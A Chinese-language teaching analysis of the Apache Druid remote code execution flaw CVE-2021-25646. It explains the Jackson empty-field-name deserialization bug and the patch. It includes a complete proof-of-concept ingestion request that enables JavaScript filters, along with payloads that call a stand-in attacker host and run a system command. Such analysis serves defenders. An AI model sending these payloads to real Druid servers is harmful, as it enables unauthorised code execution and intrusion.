Druid远程代码执行漏洞分析(CVE-2021-25646)
字数 1595 2025-08-06 08:35:22
Druid远程代码执行漏洞分析(CVE-2021-25646)教学文档
漏洞概述
CVE-2021-25646是Apache Druid中的一个远程代码执行漏洞,攻击者可以通过构造特定的JSON请求,利用Jackson反序列化过程中的缺陷,注入恶意JavaScript代码并执行任意命令。
前置知识
Jackson相关注解
-
@JacksonInject
- 用于在反序列化时将缺少的属性设置为默认值
- 当JSON字段缺少某些属性时,转换为实体类时没有的属性将为null
- 使用此注解可以为null的属性设置默认值
-
@JsonProperty
- 用于属性上,作用是把该属性的名称序列化为另外一个名称
-
@JsonValue
- 可用于get方法或属性字段上
- 一个类只能使用一个
- 加上此注解后,类的JSON化结果只有这个get方法的返回值
-
@JsonCreator
- 指定一个有参构造函数供反序列化时调用
- 构造方法的参数前面需要加上@JsonProperty
-
@JsonTypeInfo
- 作用于类或接口
- 用于处理多态类型的序列化及反序列化
漏洞分析
漏洞根源
漏洞源于Jackson反序列化过程中的一个已知bug(jackson-databind#3022),该bug允许空字段名("")被反序列化。
关键修改点
-
GuiceAnnotationIntrospector.java
- 重写了
findPropertyIgnorals方法 - 方法作用:在Jackson反序列化中找到哪些属性需要忽略
- 修改逻辑:
- 如果属性有
@JsonProperty注解,返回JsonIgnoreProperties.Value.empty() - 否则返回
JsonIgnoreProperties.Value.forIgnoredProperties("")(不允许空字段名)
- 如果属性有
- 重写了
-
DruidSecondaryModule.java
- 修改了
setupJackson函数 - 为ObjectMapper对象增加InjectableValues的值
- 用于处理
@JacksonInject注解
- 修改了
漏洞原理
- 当JSON反序列化时,带有
@JacksonInject注解的属性会被名为""的字段填充 - 正常情况下,
JavaScriptConfig对象应该由Druid重写的GuiceInjectableValues类控制 - 但通过构造空字段名("")的JSON数据,可以绕过限制,控制
JavaScriptConfig的enabled属性
漏洞利用类
org.apache.druid.query.filter.JavaScriptDimFilter类:
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)
config变量本应由配置控制,但通过漏洞可被用户控制toFilter方法会获取由function参数生成的JavaScriptPredicateFactory对象- 该对象可以执行Java代码,导致任意代码执行
漏洞复现
触发路径
- 通过Druid的"load data"模块上传数据
- 在filter配置中构造恶意JSON
POC构造
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "{\"isRobot\":true,\"channel\":\"#sv.wikipedia\",\"timestamp\":\"2016-06-27T00:00:11.080Z\"}"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": [],
"filter": {
"type": "javascript",
"dimension": "123",
"function": "function(value) {new java.net.URL(\"http://attacker.com\").openStream()}",
"": {
"enabled": true
}
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
关键点:
filter.type设置为"javascript"function字段包含恶意JavaScript代码- 空字段名("")用于注入
JavaScriptConfig配置,设置enabled: true
恶意代码示例
- 发起HTTP请求:
function(value) {new java.net.URL("http://attacker.com").openStream()}
- 执行系统命令:
function(value) {java.lang.Runtime.getRuntime().exec("calc.exe")}
修复方案
- 升级到Apache Druid 0.20.1或更高版本
- 补丁主要修改了
GuiceAnnotationIntrospector.java,防止空字段名被反序列化